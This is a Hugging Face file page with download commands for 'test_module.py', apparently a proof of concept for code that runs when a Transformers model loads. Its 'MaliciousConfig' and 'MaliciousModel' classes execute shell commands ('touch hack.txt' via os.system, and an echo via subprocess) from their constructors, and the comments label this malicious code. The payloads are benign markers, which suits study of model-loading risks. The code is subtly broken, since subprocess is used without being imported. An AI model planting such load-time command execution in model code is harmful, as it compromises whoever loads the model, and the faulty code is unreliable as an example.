Download test_module.py from ccsh/test_for_itel: direct link, hf CLI and curl.
- Browser
- Download file 820 Bytes
-
https://huggingface.co/ccsh/test_for_itel/resolve/main/test_module.py
- Command line
-
hf download hf://ccsh/test_for_itel/test_module.py
-
curl -L -o test_module.py https://huggingface.co/ccsh/test_for_itel/resolve/main/test_module.py
820 Bytes
| import os | |
| from transformers import PreTrainedModel, PretrainedConfig | |
| class MaliciousConfig(PretrainedConfig): | |
| model_type = "llama" | |
| def __init__(self, **kwargs): | |
| # 执行恶意代码 | |
| os.system("touch hack.txt") | |
| super().__init__(**kwargs) | |
| class MaliciousModel(PreTrainedModel): | |
| config_class = MaliciousConfig | |
| def __init__(self, config): | |
| super().__init__(config) | |
| # 执行恶意代码 | |
| subprocess.run(["echo", "Malicious model loaded"]) | |
| def register_for_auto_class(cls, auto_class="AutoModelForCausalLM"): | |
| """实现必需的注册方法""" | |
| return cls | |
| def forward(self, *args, **kwargs): | |
| # 简单的前向传播实现 | |
| return None |